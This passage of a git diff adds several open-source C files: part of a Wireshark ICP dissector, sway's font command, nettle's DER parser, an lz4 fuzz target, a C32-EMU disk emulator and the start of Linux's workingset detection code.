proto_tree *pload_tree, guint8 opcode) +{ + gint stringlength; + guint16 objectlength; + + switch(opcode) + { + case CODE_ICP_OP_QUERY: + /* 4 byte requester host address */ + proto_tree_add_text(pload_tree, tvb,offset,4, + "Requester Host Address %s", + tvb_ip_to_str(tvb, offset)); + offset += 4; + + /* null terminated URL */ + stringlength = tvb_strsize(tvb, offset); + proto_tree_add_text(pload_tree, tvb, offset, stringlength, + "URL: %s", tvb_get_ephemeral_string(tvb, offset, stringlength)); + break; + + case CODE_ICP_OP_SECHO: + case CODE_ICP_OP_DECHO: + case CODE_ICP_OP_HIT: + case CODE_ICP_OP_MISS: + case CODE_ICP_OP_ERR: + case CODE_ICP_OP_MISS_NOFETCH: + case CODE_ICP_OP_DENIED: + stringlength = tvb_strsize(tvb, offset); + proto_tree_add_text(pload_tree, tvb, offset, stringlength, + "URL: %s", tvb_get_ephemeral_string(tvb, offset, stringlength)); + break; + + case CODE_ICP_OP_HIT_OBJ: + /* null terminated URL */ + stringlength = tvb_strsize(tvb, offset); + proto_tree_add_text(pload_tree, tvb, offset, stringlength, + "URL: %s", tvb_get_ephemeral_string(tvb, offset, stringlength)); + offset += stringlength; + + /* 2 byte object size */ + /* object data not recommended by standard*/ + objectlength=tvb_get_ntohs(tvb, offset); + proto_tree_add_text(pload_tree, tvb,offset,2,"Object length: %u", objectlength); + offset += 2; + + /* object data not recommended by standard*/ + proto_tree_add_text(pload_tree, tvb,offset,objectlength,"Object data"); + if (objectlength > tvb_reported_length_remaining(tvb, offset)) + { + proto_tree_add_text(pload_tree, tvb,offset,0, + "Packet is fragmented, rest of object is in next udp packet"); + } + break; + default: + break; + } +} + +static void dissect_icp(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree) +{ + proto_tree *icp_tree , *payload_tree; + proto_item *ti , *payloadtf; + guint8 opcode; + guint16 message_length; + guint32 request_number; + guint32 options; + guint32 option_data; + + col_set_str(pinfo->cinfo, COL_PROTOCOL, "ICP"); + col_clear(pinfo->cinfo, COL_INFO); + + opcode=tvb_get_guint8(tvb, 0); + message_length=tvb_get_ntohs(tvb, 2); + request_number=tvb_get_ntohl(tvb, 4); + + col_add_fstr(pinfo->cinfo,COL_INFO,"Opcode: %s (%u), Req Nr: %u", + val_to_str_const(opcode, opcode_vals, "Unknown"), opcode, + request_number); + + if (tree) + { + + ti = proto_tree_add_item(tree,proto_icp, tvb, 0, message_length, ENC_NA); + icp_tree = proto_item_add_subtree(ti, ett_icp); + + proto_tree_add_uint(icp_tree,hf_icp_opcode, tvb, 0, 1, opcode); + + proto_tree_add_item(icp_tree,hf_icp_version, tvb, 1, 1, ENC_BIG_ENDIAN); + + proto_tree_add_uint(icp_tree,hf_icp_length, tvb, 2, 2, message_length); + + proto_tree_add_uint(icp_tree,hf_icp_request_nr, tvb, 4, 4, + request_number); + + options=tvb_get_ntohl(tvb, 8); + if ( (opcode == CODE_ICP_OP_QUERY) && ((options & 0x80000000 ) != 0) ) + { + proto_tree_add_text(icp_tree, tvb,8,4, + "option: ICP_FLAG_HIT_OBJ"); + } + if ( (opcode == CODE_ICP_OP_QUERY)&& ((options & 0x40000000 ) != 0) ) + { + proto_tree_add_text(icp_tree, tvb,8,4, + "option:ICP_FLAG_SRC_RTT"); + } + if ((opcode != CODE_ICP_OP_QUERY)&& ((options & 0x40000000 ) != 0)) + { + option_data=tvb_get_ntohl(tvb, 12); + proto_tree_add_text(icp_tree, tvb,8,8, + "option: ICP_FLAG_SCR_RTT RTT=%u", + option_data & 0x0000ffff); + } + + proto_tree_add_text(icp_tree, tvb, 16, 4, + "Sender Host IP address %s", + tvb_ip_to_str(tvb, 16)); + + payloadtf = proto_tree_add_text(icp_tree, tvb, + 20, message_length - 20, + "Payload"); + payload_tree = proto_item_add_subtree(payloadtf, ett_icp_payload); + dissect_icp_payload(tvb, 20, payload_tree, opcode); + } +} +void +proto_register_icp(void) +{ + static hf_register_info hf[] = { + { &hf_icp_opcode, + { "Opcode", "icp.opcode", FT_UINT8, BASE_HEX, VALS(opcode_vals), + 0x0, NULL, HFILL }}, + + { &hf_icp_version, + { "Version", "icp.version", FT_UINT8, BASE_DEC, NULL, + 0x0, NULL, HFILL }}, + + { &hf_icp_length, + { "Length", "icp.length", FT_UINT16, BASE_DEC, NULL, + 0x0, NULL, HFILL }}, + + { &hf_icp_request_nr, + { "Request Number", "icp.nr", FT_UINT32, BASE_DEC, NULL, + 0x0, NULL, HFILL }}, + }; + static gint *ett[] = { + &ett_icp, + &ett_icp_payload, + }; + + proto_icp = proto_register_protocol("Internet Cache Protocol", + "ICP", "icp"); + proto_register_field_array(proto_icp, hf, array_length(hf)); + proto_register_subtree_array(ett, array_length(ett)); +} + +void +proto_reg_handoff_icp(void) +{ + dissector_handle_t icp_handle; + + icp_handle = create_dissector_handle(dissect_icp, proto_icp); + dissector_add_uint("udp.port", UDP_PORT_ICP, icp_handle); +} diff --git a/pool/shard011/C/0142356_font.c b/pool/shard011/C/0142356_font.c new file mode 100644 index 0000000000000000000000000000000000000000..1ee063964c86ac7b4982ce919296355d9a7f9ffa --- /dev/null +++ b/pool/shard011/C/0142356_font.c @@ -0,0 +1,26 @@ +#include +#include "sway/border.h" +#include "sway/commands.h" +#include "log.h" +#include "stringop.h" + +struct cmd_results *cmd_font(int argc, char **argv) { + struct cmd_results *error = NULL; + if ((error = checkarg(argc, "font", EXPECTED_AT_LEAST, 1))) { + return error; + } + + char *font = join_args(argv, argc); + free(config->font); + if (strlen(font) > 6 && strncmp("pango:", font, 6) == 0) { + config->font = strdup(font + 6); + free(font); + } else { + config->font = font; + } + + config->font_height = get_font_text_height(config->font); + + sway_log(L_DEBUG, "Settings font %s", config->font); + return cmd_results_new(CMD_SUCCESS, NULL, NULL); +} diff --git a/pool/shard011/C/0142357_der-iterator.c b/pool/shard011/C/0142357_der-iterator.c new file mode 100644 index 0000000000000000000000000000000000000000..70b6e2362004ab699fb55a3e707a1cbb34176bee --- /dev/null +++ b/pool/shard011/C/0142357_der-iterator.c @@ -0,0 +1,272 @@ +/* der-iterator.c + * + * Parses DER encoded objects. + */ + +/* nettle, low-level cryptographics library + * + * Copyright (C) 2005 Niels Möller + * + * The nettle library is free software; you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation; either version 2.1 of the License, or (at your + * option) any later version. + * + * The nettle library is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY + * or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public + * License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with the nettle library; see the file COPYING.LIB. If not, write to + * the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, + * MA 02111-1307, USA. + */ + +#if HAVE_CONFIG_H +# include "config.h" +#endif + +#include +#include + +#if HAVE_LIBGMP +#include "bignum.h" +#endif + +#include "asn1.h" + +#include "macros.h" + +/* Basic DER syntax: (reference: A Layman's Guide to a Subset of ASN.1, BER, and DER, + http://luca.ntop.org/Teaching/Appunti/asn1.html) + + The DER header contains a tag and a length. First, the tag. cls is + the class number, c is one if the object is "constructed" and zero + if it is primitive. The tag is represented either using a single + byte, + + 7 6 5 4 3 2 1 0 + _____________________ + |_cls_|_c_|_______tag_| 0 <= tag <= 30 + + or multiple bytes + + 7 6 5 4 3 2 1 0 + _____________________ + |_cls_|_c_|_1_1_1_1_1_| + + followed by the real tag number, in base 128, with all but the + final byte having the most significant bit set. The tag must be + represented with as few bytes as possible. High tag numbers are + currently *not* supported. + + Next, the length, either a single byte with the most significant bit clear, or + + 7 6 5 4 3 2 1 0 + _________________ + |_1_|___________k_| + + followed by k additional bytes that give the length, in network + byte order. The length must be encoded using as few bytes as + possible, and k = 0 is reserved for the "indefinite length form" + which is not supported. + + After the length comes the contets. For primitive objects (c == 0), + it's depends on the type. For constructed objects, it's a + concatenation of the DER encodings of zero or more other objects. +*/ + +enum { + TAG_MASK = 0x1f, + CLASS_MASK = 0xc0, + CONSTRUCTED_MASK = 0x20, +}; + +/* Initializes the iterator, but one has to call next to get to the + * first element. */ +static void +asn1_der_iterator_init(struct asn1_der_iterator *iterator, + unsigned length, const uint8_t *input) +{ + iterator->buffer_length = length; + iterator->buffer = input; + iterator->pos = 0; + iterator->type = 0; + iterator->length = 0; + iterator->data = NULL; +} + +#define LEFT(i) ((i)->buffer_length - (i)->pos) +#define NEXT(i) ((i)->buffer[(i)->pos++]) + +/* Gets type and length of the next object. */ +enum asn1_iterator_result +asn1_der_iterator_next(struct asn1_der_iterator *i) +{ + uint8_t tag; + + if (!LEFT(i)) + return ASN1_ITERATOR_END; + + tag = NEXT(i); + if (!LEFT(i)) + return ASN1_ITERATOR_ERROR; + + if ( (tag & TAG_MASK) == TAG_MASK) + { + /* FIXME: Long tags not supported */ + return ASN1_ITERATOR_ERROR; + } + + i->length = NEXT(i); + if (i->length & 0x80) + { + unsigned k = i->length & 0x7f; + unsigned j; + const uint8_t *data = i->buffer + i->pos; + + if (k == 0) + /* Indefinite encoding. Not supported. */ + return ASN1_ITERATOR_ERROR; + + if (LEFT(i) < k) + return ASN1_ITERATOR_ERROR; + + if (k > sizeof(unsigned)) + return ASN1_ITERATOR_ERROR; + + i->pos += k; + i->length = data[0]; + if (i->length == 0 + || (k == 1 && i->length < 0x80)) + return ASN1_ITERATOR_ERROR; + + for (j = 1; j < k; j++) + i->length = (i->length << 8) | data[j]; + } + if (LEFT(i) < i->length) + return ASN1_ITERATOR_ERROR; + + i->data = i->buffer + i->pos; + i->pos += i->length; + + i->type = tag & TAG_MASK; + i->type |= (tag & CLASS_MASK) << (ASN1_CLASS_SHIFT - 6); + if (tag & CONSTRUCTED_MASK) + { + i->type |= ASN1_TYPE_CONSTRUCTED; + return ASN1_ITERATOR_CONSTRUCTED; + } + else + return ASN1_ITERATOR_PRIMITIVE; +} + +enum asn1_iterator_result +asn1_der_iterator_first(struct asn1_der_iterator *i, + unsigned length, const uint8_t *input) +{ + asn1_der_iterator_init(i, length, input); + return asn1_der_iterator_next(i); +} + +enum asn1_iterator_result +asn1_der_decode_constructed(struct asn1_der_iterator *i, + struct asn1_der_iterator *contents) +{ + assert(i->type & ASN1_TYPE_CONSTRUCTED); + return asn1_der_iterator_first(contents, i->length, i->data); +} + +enum asn1_iterator_result +asn1_der_decode_constructed_last(struct asn1_der_iterator *i) +{ + if (LEFT(i) > 0) + return ASN1_ITERATOR_ERROR; + + return asn1_der_decode_constructed(i, i); +} + +/* Decoding a DER object which is wrapped in a bit string. */ +enum asn1_iterator_result +asn1_der_decode_bitstring(struct asn1_der_iterator *i, + struct asn1_der_iterator *contents) +{ + assert(i->type == ASN1_BITSTRING); + /* First byte is the number of padding bits, which must be zero. */ + if (i->length == 0 || i->data[0] != 0) + return ASN1_ITERATOR_ERROR; + + return asn1_der_iterator_first(contents, i->length - 1, i->data + 1); +} + +enum asn1_iterator_result +asn1_der_decode_bitstring_last(struct asn1_der_iterator *i) +{ + if (LEFT(i) > 0) + return ASN1_ITERATOR_ERROR; + + return asn1_der_decode_bitstring(i, i); +} + +int +asn1_der_get_uint32(struct asn1_der_iterator *i, + uint32_t *x) +{ + /* Big endian, two's complement, minimum number of octets (except 0, + which is encoded as a single octet */ + uint32_t value = 0; + unsigned length = i->length; + unsigned k; + + if (!length || length > 5) + return 0; + + if (i->data[length - 1] >= 0x80) + /* Signed number */ + return 0; + + if (length > 1 + && i->data[length -1] == 0 + && i->data[length -2] < 0x80) + /* Non-minimal number of digits */ + return 0; + + if (length == 5) + { + if (i->data[4]) + return 0; + length--; + } + + for (value = k = 0; k < length; k++) + value = (value << 8) | i->data[k]; + + *x = value; + return 1; +} + +#if HAVE_LIBGMP +int +asn1_der_get_bignum(struct asn1_der_iterator *i, + mpz_t x, unsigned limit) +{ + if (i->length > 1 + && ((i->data[0] == 0 && i->data[1] < 0x80) + || (i->data[0] == 0xff && i->data[1] >= 0x80))) + /* Non-minimal number of digits */ + return 0; + + /* Allow some extra here, for leading sign octets. */ + if (limit && (8 * i->length > (16 + limit))) + return 0; + + nettle_mpz_set_str_256_s(x, i->length, i->data); + + /* FIXME: How to interpret a limit for negative numbers? */ + if (limit && mpz_sizeinbase(x, 2) > limit) + return 0; + + return 1; +} +#endif /* HAVE_LIBGMP */ diff --git a/pool/shard011/C/0142358_round_trip_frame_fuzzer.c b/pool/shard011/C/0142358_round_trip_frame_fuzzer.c new file mode 100644 index 0000000000000000000000000000000000000000..149542de5a147dd079492d3f3f64f0e71649efe2 --- /dev/null +++ b/pool/shard011/C/0142358_round_trip_frame_fuzzer.c @@ -0,0 +1,43 @@ +/** + * This fuzz target performs a lz4 round-trip test (compress & decompress), + * compares the result with the original, and calls abort() on corruption. + */ + +#include +#include +#include +#include + +#include "fuzz_helpers.h" +#include "lz4.h" +#include "lz4frame.h" +#include "lz4_helpers.h" +#include "fuzz_data_producer.h" + +int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) +{ + FUZZ_dataProducer_t* producer = FUZZ_dataProducer_create(data, size); + LZ4F_preferences_t const prefs = FUZZ_dataProducer_preferences(producer); + size = FUZZ_dataProducer_remainingBytes(producer); + + size_t const dstCapacity = LZ4F_compressFrameBound(LZ4_compressBound(size), &prefs); + char* const dst = (char*)malloc(dstCapacity); + char* const rt = (char*)malloc(FUZZ_dataProducer_remainingBytes(producer)); + + FUZZ_ASSERT(dst); + FUZZ_ASSERT(rt); + + /* Compression must succeed and round trip correctly. */ + size_t const dstSize = + LZ4F_compressFrame(dst, dstCapacity, data, size, &prefs); + FUZZ_ASSERT(!LZ4F_isError(dstSize)); + size_t const rtSize = FUZZ_decompressFrame(rt, size, dst, dstSize); + FUZZ_ASSERT_MSG(rtSize == size, "Incorrect regenerated size"); + FUZZ_ASSERT_MSG(!memcmp(data, rt, size), "Corruption!"); + + free(dst); + free(rt); + FUZZ_dataProducer_free(producer); + + return 0; +} diff --git a/pool/shard011/C/0142359_emu_disk.c b/pool/shard011/C/0142359_emu_disk.c new file mode 100644 index 0000000000000000000000000000000000000000..ec8f36496e363e6f9f8d5561a6badef4e95efc67 --- /dev/null +++ b/pool/shard011/C/0142359_emu_disk.c @@ -0,0 +1,259 @@ +/* + *-------------------------------------------------------------------------- + * Copyright (C) 2013, Joe Mruz + * Contact email: mruz.joe@gmail.com + * + * This file is part of C32-EMU. + * + * C32-EMU is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * C32-EMU is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with C32-EMU. If not, see . + *-------------------------------------------------------------------------- + */ +/* + *-------------------------------------------------- + * File: emu_disk.c + * Description: Simulates functionality of disk I/O device + *-------------------------------------------------- + */ + +#include +#include +#include +#include "emu.h" +#include "file_utils.h" + +/* + *-------------------------------------------------- + * constants + *-------------------------------------------------- + */ +#define DISK_ERROR_CODE 0xFFFFFFFE +#define DISK_NEXT_STATE 0xFFFFFFFC +#define DISK_NOOP_CODE 0xFFFFFFFD +#define DISK_WRITE_CODE 0xFFFFFFFF + +enum disk_state +{ + DISK_READ_BUFFER_START, + DISK_READ_BUFFER_SIZE, + DISK_READ_REQUEST, + DISK_HOLD +}; + +/* + *-------------------------------------------------- + * functions + *-------------------------------------------------- + */ + +/* + *-------------------------------------------------- + * Function: disk_init + * Description: + * Initialize the disk object + * Params: + * Returns: void + *-------------------------------------------------- + */ +void +disk_init(disk_t* disk) +{ + memset (disk->address, 0, sizeof (disk->address)); + + disk->mapped_buffer_size = 0; + disk->mapped_buffer_start = 0; + disk->state = DISK_READ_BUFFER_START; + disk->seek = 0; +} + +/* + *-------------------------------------------------- + * Function: disk_rd_port + * Description: + * Read/update simulated disk I/O port + * Params: + * Returns: void + *-------------------------------------------------- + */ +void +disk_rd_port(disk_t *disk, uint32_t *dat, ram_t *ram) +{ + unsigned int i; + + switch (disk->state) + { + case DISK_READ_BUFFER_START: + + /* + * STATE 0: + * the next non zero value on the port will be saved + * as the ram address the disk buffer will start at, + * then write zero to the port + */ + if (*dat == DISK_NEXT_STATE) { + disk->state = DISK_READ_BUFFER_SIZE; + } + else if ( (*dat) || *dat != DISK_ERROR_CODE) + { + if(*dat >= MEMORY_SIZE) + { + *dat = DISK_ERROR_CODE; + break; + } + disk->mapped_buffer_start = *dat; + } + *dat = 0; + break; + case DISK_READ_BUFFER_SIZE: + + /* + * STATE 1: + * the next non zero value on the port will be saved + * as the size of disk buffer, + * then write zero to the port + * */ + if (*dat == DISK_NEXT_STATE) { + disk->state = DISK_READ_REQUEST; + *dat = DISK_NOOP_CODE; + } + else if ((*dat) || *dat != DISK_ERROR_CODE) + { + if ((*dat) + disk->mapped_buffer_start >= MEMORY_SIZE) + { + *dat = DISK_ERROR_CODE; + break; + } + disk->mapped_buffer_size = *dat; + *dat = 0; + } + break; + case DISK_READ_REQUEST: + + /* + * STATE 2: + * read/write/request state (0xFFFFFFC will go to state 0) + */ + switch (*dat) + { + case DISK_NEXT_STATE: disk->state = DISK_HOLD; break; + case DISK_WRITE_CODE: + + /* + * write the mapped region of RAM to the last seeked block + */ + for(i = 0; i < disk->mapped_buffer_size; i++) + { + disk->address [disk->seek + i] = + ram->address [disk->mapped_buffer_start + i]; + } + *dat = DISK_NOOP_CODE; + break; + case DISK_ERROR_CODE: /*error, do nothing (we generated this)*/ break; + case DISK_NOOP_CODE: /*do nothing*/ break; + case DISK_HOLD: break; + default: + /* + * seek for data, write to mapped region of RAM + * if the seek is outside the size of the disk, + * put error code on the port + */ + if (*dat >= DISK_SIZE) + { + printf ("Error: disk seek request greater than size of disk"); + *dat = DISK_ERROR_CODE; + return; + } + + disk->seek = *dat; + + for (i = 0; i < disk->mapped_buffer_size && + i < DISK_SIZE; + i++) + { + ram->address [disk->mapped_buffer_start + i] = disk->address [disk->seek + i]; + } + *dat = DISK_NOOP_CODE; + break; + } + break; + case DISK_HOLD: + + /* + * STATE 3: + * hold state, advancing the state will return to state 0 + * (useful for initiating a restart) + */ + if(*dat == DISK_NEXT_STATE) { + disk->state = DISK_READ_BUFFER_START; + } + *dat = 0; + break; + default: disk->state = DISK_READ_BUFFER_START; break; + } +} + +/* + *-------------------------------------------------- + * Function: disk_get_bootsector + * Description: + * Copy the bootsector from disk to memory + * Params: + * Returns: void + *-------------------------------------------------- + */ +void +disk_get_bootsector(disk_t *disk, ram_t *ram, uint32_t num_bytes) +{ + memcpy ((void *)ram->address, (void *)disk->address, num_bytes); +} + +/* + *-------------------------------------------------- + * Function: disk_load + * Description: + * Load disk from file + * Params: + * Returns: void + *-------------------------------------------------- + */ +void +disk_load(disk_t *disk, const char *filename) +{ + if (!file_utils_read ((void *)disk->address, + sizeof (disk->address), + filename)) + { + printf ("Error: Could not open "DISK_FILENAME); + exit(0); + } +} + +/* + *-------------------------------------------------- + * Function: disk_save + * Description: + * Save disk to file + * Params: + * Returns: void + *-------------------------------------------------- + */ +void +disk_save(disk_t *disk, const char *filename) +{ + if (!file_utils_write ((void *)disk->address, + sizeof (disk->address), + filename)) + { + printf ("Error: Could not open "DISK_FILENAME); + } +} diff --git a/pool/shard011/C/0142360_workingset.c b/pool/shard011/C/0142360_workingset.c new file mode 100644 index 0000000000000000000000000000000000000000..f7216fa7da273b4ac4dd293f919dbcf08b7775f8 --- /dev/null +++ b/pool/shard011/C/0142360_workingset.c @@ -0,0 +1,414 @@ +/* + * Workingset detection + * + * Copyright (C) 2013 Red Hat, Inc., Johannes Weiner + */ + +#include +#include +#include +#include +#include +#include +#include +#include + +/* + * Double CLOCK lists + * + * Per zone, two clock lists are maintained for file pages: the + * inactive and the active list. Freshly faulted pages start out at + * the head of the inactive list and page reclaim scans pages from the + * tail. Pages that are accessed multiple times on the inactive list + * are promoted to the active list, to protect them from reclaim, + * whereas active pages are demoted to the inactive list when the + * active list grows too big. + * + * fault ------------------------+ + * | + * +--------------+ | +-------------+ + * reclaim <- | inactive | <-+-- demotion | active | <--+ + * +--------------+ +-------------+ | + * | | + * +-------------- promotion ------------------+ + * + * + * Access frequency and refault distance + * + * A workload is thrashing when its pages are frequently used but they + * are evicted from the inactive list every time before another access + * would have promoted them to the active list. + * + * In cases where the average access distance between thrashing pages + * is bigger than the size of memory there is nothing that can be + * done - the thrashing set could never fit into memory under any + * circumstance. + * + * However, the average access distance could be bigger than the + * inactive list, yet smaller than the size of memory. In this case, + * the set could fit into memory if it weren't for the currently + * active pages - which may be used more, hopefully less frequently: + * + * +-memory available to cache-+ + * | | + * +-inactive------+-active----+ + * a b | c d e f g h i | J K L M N | + * +---------------+-----------+ + * + * It is prohibitively expensive to accurately track access frequency + * of pages. But a reasonable approximation can be made to measure + * thrashing on the inactive list, after which refaulting pages can be + * activated optimistically to compete with the existing active pages. + * + * Approximating inactive page access frequency - Observations: + * + * 1. When a page is accessed for the first time, it is added to the + * head of the inactive list, slides every existing inactive page + * towards the tail by one slot, and pushes the current tail page + * out of memory. + * + * 2. When a page is accessed for the second time, it is promoted to + * the active list, shrinking the inactive list by one slot. This + * also slides all inactive pages that were faulted into the cache + * more recently than the activated page towards the tail of the + * inactive list. + * + * Thus: + * + * 1. The sum of evictions and activations between any two points in + * time indicate the minimum number of inactive pages accessed in + * between. + * + * 2. Moving one inactive page N page slots towards the tail of the + * list requires at least N inactive page accesses. + * + * Combining these: + * + * 1. When a page is finally evicted from memory, the number of + * inactive pages accessed while the page was in cache is at least + * the number of page slots on the inactive list. + * + * 2. In addition, measuring the sum of evictions and activations (E) + * at the time of a page's eviction, and comparing it to another + * reading (R) at the time the page faults back into memory tells + * the minimum number of accesses while the page was not cached. + * This is called the refault distance. + * + * Because the first access of the page was the fault and the second + * access the refault, we combine the in-cache distance with the + * out-of-cache distance to get the complete minimum access distance + * of this page: + * + * NR_inactive + (R - E) + * + * And knowing the minimum access distance of a page, we can easily + * tell if the page would be able to stay in cache assuming all page + * slots in the cache were available: + * + * NR_inactive + (R - E) <= NR_inactive + NR_active + * + * which can be further simplified to + * + * (R - E) <= NR_active + * + * Put into words, the refault distance (out-of-cache) can be seen as + * a deficit in inactive list space (in-cache). If the inactive list + * had (R - E) more page slots, the page would not have been evicted + * in between accesses, but activated instead. And on a full system, + * the only thing eating into inactive list space is active pages. + * + * + * Activating refaulting pages + * + * All that is known about the active list is that the pages have been + * accessed more than once in the past. This means that at any given + * time there is actually a good chance that pages on the active list + * are no longer in active use. + * + * So when a refault distance of (R - E) is observed and there are at + * least (R - E) active pages, the refaulting page is activated + * optimistically in the hope that (R - E) active pages are actually + * used less frequently than the refaulting page - or even not used at + * all anymore. + * + * If this is wrong and demotion kicks in, the pages which are truly + * used more frequently will be reactivated while the less frequently + * used once will be evicted from memory. + * + * But if this is right, the stale pages will be pushed out of memory + * and the used pages get to stay in cache. + * + * + * Implementation + * + * For each zone's file LRU lists, a counter for inactive evictions + * and activations is maintained (zone->inactive_age). + * + * On eviction, a snapshot of this counter (along with some bits to + * identify the zone) is stored in the now empty page cache radix tree + * slot of the evicted page. This is called a shadow entry. + * + * On cache misses for which there are shadow entries, an eligible + * refault distance will immediately activate the refaulting page. + */ + +static void *pack_shadow(unsigned long eviction, struct zone *zone) +{ + eviction = (eviction << NODES_SHIFT) | zone_to_nid(zone); + eviction = (eviction << ZONES_SHIFT) | zone_idx(zone); + eviction = (eviction << RADIX_TREE_EXCEPTIONAL_SHIFT); + + return (void *)(eviction | RADIX_TREE_EXCEPTIONAL_ENTRY); +} + +static void unpack_shadow(void *shadow, + struct zone **zone, + unsigned long *distance) +{ + unsigned long entry = (unsigned long)shadow; + unsigned long eviction; + unsigned long refault; + unsigned long mask; + int zid, nid; + + entry >>= RADIX_TREE_EXCEPTIONAL_SHIFT; + zid = entry & ((1UL << ZONES_SHIFT) - 1); + entry >>= ZONES_SHIFT; + nid = entry & ((1UL << NODES_SHIFT) - 1); + entry >>= NODES_SHIFT; + eviction = entry; + + *zone = NODE_DATA(nid)->node_zones + zid; + + refault = atomic_long_read(&(*zone)->inactive_age); + mask = ~0UL >> (NODES_SHIFT + ZONES_SHIFT + + RADIX_TREE_EXCEPTIONAL_SHIFT); + /* + * The unsigned subtraction here gives an accurate distance + * across inactive_age overflows in most cases. + * + * There is a special case: usually, shadow entries have a + * short lifetime and are either refaulted or reclaimed along + * with the inode before they get too old. But it is not + * impossible for the inactive_age to lap a shadow entry in + * the field, which can then can result in a false small + * refault distance, leading to a false activation should this + * old entry actually refault again. However, earlier kernels + * used to deactivate unconditionally with *every* reclaim + * invocation for the longest time, so the occasional + * inappropriate activation leading to pressure on the active + * list is not a problem. + */ + *distance = (refault - eviction) & mask; +} + +/** + * workingset_eviction - note the eviction of a page from memory + * @mapping: address space the page was backing + * @page: the page being evicted + * + * Returns a shadow entry to be stored in @mapping->page_tree in place + * of the evicted @page so that a later refault can be detected. + */ +void *workingset_eviction(struct address_space *mapping, struct page *page) +{ + struct zone *zone = page_zone(page); + unsigned long eviction; + + eviction = atomic_long_inc_return(&zone->inactive_age); + return pack_shadow(eviction, zone); +} + +/** + * workingset_refault - evaluate the refault of a previously evicted page + * @shadow: shadow entry of the evicted page + * + * Calculates and evaluates the refault distance of the previously + * evicted page in the context of the zone it was allocated in. + * + * Returns %true if the page should be activated, %false otherwise. + */ +bool workingset_refault(void *shadow) +{ + unsigned long refault_distance; + struct zone *zone; + + unpack_shadow(shadow, &zone, &refault_distance); + inc_zone_state(zone, WORKINGSET_REFAULT); + + if (refault_distance <= zone_page_state(zone, NR_ACTIVE_FILE)) { + inc_zone_state(zone, WORKINGSET_ACTIVATE); + return true; + } + return false; +} + +/** + * workingset_activation - note a page activation + * @page: page that is being activated + */ +void workingset_activation(struct page *page) +{ + atomic_long_inc(&page_zone(page)->inactive_age); +} + +/* + * Shadow entries reflect the share of the working set that does not + * fit into memory, so their number depends on the access pattern of + * the workload. In most cases, they will refault or get reclaimed + * along with the inode, but a (malicious) workload that streams + * through files with a total size several times that of available + * memory, while preventing the inodes from being reclaimed, can + * create excessive amounts of shadow nodes. To keep a lid on this, + * track shadow nodes and reclaim them when they grow way past the + * point where they would still be useful. + */ + +struct list_lru workingset_shadow_nodes; + +static unsigned long count_shadow_nodes(struct shrinker *shrinker, + struct shrink_control *sc) +{ + unsigned long shadow_nodes; + unsigned long max_nodes; + unsigned long pages; + + /* list_lru lock nests inside IRQ-safe mapping->tree_lock */ + local_irq_disable(); + shadow_nodes = list_lru_count_node(&workingset_shadow_nodes, sc->nid); + local_irq_enable(); + + pages = node_present_pages(sc->nid); + /* + * Active cache pages are limited to 50% of memory, and shadow + * entries that represent a refault distance bigger than that + * do not have any effect. Limit the number of shadow nodes + * such that shadow entries do not exceed the number of active + * cache pages, assuming a worst-case node population density + * of 1/8th on average. + * + * On 64-bit with 7 radix_tree_nodes per page and 64 slots + * each, this will reclaim shadow entries when they consume + * ~2% of available memory: + * + * PAGE_SIZE / radix_tree_nodes / node_entries / PAGE_SIZE + */ + max_nodes = pages >> (1 + RADIX_TREE_MAP_SHIFT - 3); + + if (shadow_nodes <= max_nodes) + return 0; + + return shadow_nodes - max_nodes; +} + +static enum lru_status shadow_lru_isolate(struct list_head *item, + spinlock_t *lru_lock, + void *arg) +{ + struct address_space *mapping; + struct radix_tree_node *node; + unsigned int i; + int ret; + + /* + * Page cache insertions and deletions synchroneously maintain + * the shadow node LRU under the mapping->tree_lock and the + * lru_lock. Because the page cache tree is emptied before + * the inode can be destroyed, holding the lru_lock pins any + * address_space that has radix tree nodes on the LRU. + * + * We can then safely transition to the mapping->tree_lock to + * pin only the address_space of the particular node we want + * to reclaim, take the node off-LRU, and drop the lru_lock. + */ + + node = container_of(item, struct radix_tree_node, private_list); + mapping = node->private_data; + + /* Coming from the list, invert the lock order */ + if (!spin_trylock(&mapping->tree_lock)) { + spin_unlock(lru_lock); + ret = LRU_RETRY; + goto out; + } + + list_del_init(item); + spin_unlock(lru_lock); + + /* + * The nodes should only contain one or more shadow entries, + * no pages, so we expect to be able to remove them all and + * delete and free the empty node afterwards. + */ + + BUG_ON(!node->count); + BUG_ON(node->count & RADIX_TREE_COUNT_MASK); + + for (i = 0; i < RADIX_TREE_MAP_SIZE; i++) { + if (node->slots[i]) { + BUG_ON(!radix_tree_exceptional_entry(node->slots[i])); + node->slots[i] = NULL; + BUG_ON(node->count < (1U << RADIX_TREE_COUNT_SHIFT)); + node->count -= 1U << RADIX_TREE_COUNT_SHIFT; + BUG_ON(!mapping->nrshadows); + mapping->nrshadows--; + } + } + BUG_ON(node->count); + inc_zone_state(page_zone(virt_to_page(node)), WORKINGSET_NODERECLAIM); + if (!__radix_tree_delete_node(&mapping->page_tree, node)) + BUG(); + + spin_unlock(&mapping->tree_lock); + ret = LRU_REMOVED_RETRY; +out: + local_irq_enable(); + cond_resched(); + local_irq_disable(); + spin_lock(lru_lock); + return ret; +} + +static unsigned long scan_shadow_nodes(struct shrinker *shrinker, + struct shrink_control *sc) +{ + unsigned long ret; + + /* list_lru lock nests inside IRQ-safe mapping->tree_lock */ + local_irq_disable(); + ret = list_lru_walk_node(&workingset_shadow_nodes, sc->nid, + shadow_lru_isolate, NULL, &sc->nr_to_scan); + local_irq_enable(); + return ret; +} + +static struct shrinker workingset_shadow_shrinker = { + .count_objects = count_shadow_nodes, + .scan_objects = scan_shadow_nodes, + .seeks = DEFAULT_SEEKS, + .flags = SHRINKER_NUMA_AWARE, +}; + +/* + * Our list_lru->lock is IRQ-safe as it nests inside the IRQ-safe + * mapping->tree_lock. + */ +static struct 